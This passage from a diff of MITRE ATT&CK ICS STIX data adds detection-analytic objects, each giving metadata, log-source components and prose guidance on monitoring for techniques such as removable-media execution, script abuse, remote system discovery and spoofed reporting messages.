+ "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "Firmware", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd4c92f9-3107-45c7-9d95-19a44d7dc92c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0732#AN1865", + "external_id": "AN1865" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1865", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ad83be0-5c88-4fb6-b59d-19db21176923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0733#AN1866", + "external_id": "AN1866" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1866", + "description": "Monitor for newly executed processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. \nMonitor for newly constructed files copied to or from removable media.\nMonitor for newly constructed drive letters or mount points to removable media.\nMonitor for files accessed on removable media, particularly those with executable content.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "Drive", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e25ef816-bbfd-4656-8ecb-c7eebcba31d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0734#AN1867", + "external_id": "AN1867" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1867", + "description": "Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible, to determine their actions and intent.\nMonitor executed commands and arguments for actions that could be taken to collect internal data.\nMonitor for unexpected files (e.g., .pdf, .docx, .jpg) viewed for collecting internal data.\nMonitor for information collection on assets that may indicate deviations from standard operational tools. Examples include unexpected industrial automation protocol functions, new high volume communication sessions, or broad collection across many hosts within the network. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "Script", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--302a5327-70cf-44b5-b592-ce9a62014dcc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0735#AN1868", + "external_id": "AN1868" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1868", + "description": "Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. \nMonitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\nMonitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. \nMonitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (e.g., JScript.dll, vbscript.dll).\nMonitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "Module", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "Script", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--981b659b-992a-4d71-9404-0e1b2b598e50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0736#AN1869", + "external_id": "AN1869" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1869", + "description": "Analyze network data for uncommon data flows (e.g., new protocols in use between hosts, unexpected ports in use). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. \nMonitor for mismatches between protocols and their expected ports (e.g., non-HTTP traffic on tcp:80). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77857bc3-6a38-4826-8109-30facf6c23ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0737#AN1870", + "external_id": "AN1870" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1870", + "description": "Monitor operational process data for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nSome asset application logs may provide information on I/O points related to write commands. Monitor for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times.\nMonitor network traffic for ICS functions related to write commands for an excessive number of I/O points or manipulating a single value an excessive number of times.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6fb91d0-28f6-447d-ba25-e7b26116ebfe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0738#AN1871", + "external_id": "AN1871" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1871", + "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--322ac45b-d540-4d2a-84a1-cde200238b95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0739#AN1872", + "external_id": "AN1872" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1872", + "description": "Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.\nMonitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe , especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data.\nMonitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols.\nMonitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM). For added context on adversary enterprise procedures and background see [Remote System Discovery](https://attack.mitre.org/techniques/T1018).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd25b818-ceb0-4518-9384-dcf895d4956b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0740#AN1873", + "external_id": "AN1873" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1873", + "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation.\nUse deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2195ec67-7cea-4b0d-a678-18384089bf2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0741#AN1874", + "external_id": "AN1874" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1874", + "description": "Monitor asset application logs for information that indicate task parameters have changed.\nMonitor device alarms that indicate controller task parameters have changed, although not all devices produce such alarms.\n \n[Program Download](https://attack.mitre.org/techniques/T0843) may be used to enable this technique. Monitor for program downloads which may be noticeable via operational alarms. Asset management systems should be consulted to understand expected program versions.\nEngineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs and tasks. Data from these platforms can be used to identify modified controller tasking.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8ed4e6d0-56d7-4e6b-8fa6-41f41631f30d", + "name": "Asset", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e8f51c53-fc55-441b-a45f-ba7709ccbce2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0742#AN1875", + "external_id": "AN1875" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1875", + "description": "Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c14544a4-5ca1-4523-97eb-4a9840d74c6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0743#AN1876", + "external_id": "AN1876" + }, + { + "source_name": "Nzyme Alerts Intro", + "description": "Koopmann, Lennart. (n.d.). Nzyme Alerts Introduction. Retrieved November 17, 2024.", + "url": "https://docs.nzyme.org/wifi/monitoring/network-monitoring/" + }, + { + "source_name": "Wireless Intrusion Detection", + "description": "Tomko, A.; Rieser, C; Buell, H.; Zeret, D.; Turner, W.. (2007, March). Wireless Intrusion Detection. Retrieved September 26, 2022.", + "url": "https://apps.dtic.mil/sti/pdfs/ADA466332.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1876", + "description": "Purely passive network sniffing cannot be detected effectively. In cases where the adversary interacts with the wireless network (e.g., joining a Wi-Fi network) detection may be possible. Monitor for new or irregular network traffic flows which may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9127dd4e-0994-442f-8d73-b6b2dfb1f9ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0744#AN1877", + "external_id": "AN1877" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1877", + "description": "Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) may be helpful in identifying transient assets.\nNetworking devices such as switches may log when new client devices connect (e.g., SNMP notifications). Monitor for any logs documenting changes to network connection status to determine when a new connection has occurred, including the resulting addresses (e.g., IP, MAC) of devices on that network.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--930aae7c-e8f0-4594-8e3f-f0e71d7e1640", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0745#AN1878", + "external_id": "AN1878" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1878", + "description": "Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as Server Message Block (SMB).\nMonitor for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. \nMonitor for file creation in conjunction with other techniques (e.g., file transfers using [Remote Services](https://attack.mitre.org/techniques/T0886)).\nMonitor for unusual processes with internal network connections creating files on-system which may be suspicious. \nMonitor executed commands and arguments for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files.\nMonitor newly constructed processes that assist in lateral tool transfers, such as file transfer programs.\nMonitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "Network Share", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32bfb2ab-2ad1-4c00-8428-96bc626c34f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0746#AN1879", + "external_id": "AN1879" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1879", + "description": "Various techniques enable spoofing a reporting message. Consider monitoring for [Rogue Master](https://attack.mitre.org/techniques/T0848) and [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T0830) activity which may precede this technique.\nMonitor asset logs for alarms or other information the adversary is unable to directly suppress. Relevant alarms include those from a loss of communications due to [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T0830) activity.\nVarious techniques enable spoofing a reporting message. Monitor for LLMNR/NBT-NS poisoning via new services/daemons which may be used to enable this technique. For added context on adversary procedures and background see [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001).\nSpoofed reporting messages may be detected by reviewing the content of automation protocols, either through detecting based on expected values or comparing to other out of band process data sources. Spoofed messages may not precisely match legitimate messages which may lead to malformed traffic, although traffic may be malformed for many benign reasons. Monitor reporting messages for changes in how they are constructed.\n\nVarious techniques enable spoofing a reporting message. Consider monitoring for [Rogue Master](https://attack.mitre.org/techniques/T0848) and [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T0830) activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "Windows Registry", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--383a1a1c-8ecf-4909-9237-14a1f4fc4179", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 